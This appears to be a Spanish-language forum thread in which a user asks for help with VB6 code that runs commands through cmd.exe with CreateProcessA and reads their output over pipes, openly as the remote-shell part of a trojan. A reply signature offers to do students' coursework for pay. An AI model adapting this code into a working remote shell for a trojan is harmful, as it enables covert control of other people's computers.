[VB6] Consola de comandos

Iniciado por noele1995, 8 Abril 2012, 20:59 PM

0 Miembros y 1 Visitante están viendo este tema.

noele1995

Bueno para mi troyano queria elaborar una buena shell remota con pipes, como no tenia mucha idea me puse a investigar y ayudandome de una shell que encontre purulando por la web he elaborado este codigo pero nose porque me da error, si alguien me puede ayudar se lo agradeceria. El error lo da la api CreateProcessA.

Código (vb) [Seleccionar]
Public Function CMD(Comando As String) As String
On Error GoTo Error_cmd

Dim hReadPipe       As Long
Dim hWritePipe      As Long
Dim SecAtt          As SECURITY_ATTRIBUTES
Dim ProcInfo        As PROCESS_INFORMATION
Dim StUpInfo        As STARTUPINFO
Dim Ret             As Long
Dim Buffer          As String * 256
Dim BytesRead       As Long


SecAtt.nLength = Len(SecAtt)
SecAtt.bInheritHandle = 1&
SecAtt.lpSecurityDescriptor = 0&

If CreatePipe(hReadPipe, hWritePipe, SecAtt, 0) = 0 Then
    CMD = "Error: " & Err.LastDllError
    Exit Function
End If

StUpInfo.cb = Len(StUpInfo)
StUpInfo.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
StUpInfo.hStdOutput = hWritePipe
StUpInfo.hStdError = hWritePipe
Comando = Environ("COMSPEC") & " /c " & Comando

If CreateProcessA(vbNullString, Comando, SecAtt, SecAtt, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, StUpInfo, ProcInfo) = 0 Then
    CMD = "Error: " & Err.LastDllError
    Exit Function
End If

CloseHandle (hWritePipe)
CMD = ""

Do
    Ret = ReadFile(hReadPipe, Buffer, 256, BytesRead, 0&)
    CMD = CMD & Left$(Buffer, BytesRead)
Loop While Ret <> 0

CloseHandle (ProcInfo.hThread)
CloseHandle (ProcInfo.hProcess)
CloseHandle (hWritePipe)
Exit Function

Error_cmd:
CMD = "Error: " & Err.Description
End Function


Elemental Code


I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

noele1995

Gracias por la ayuda aunque al final no la necesite, solo tuve que hacer algunas modificaciones en las declaraciones y funciono :D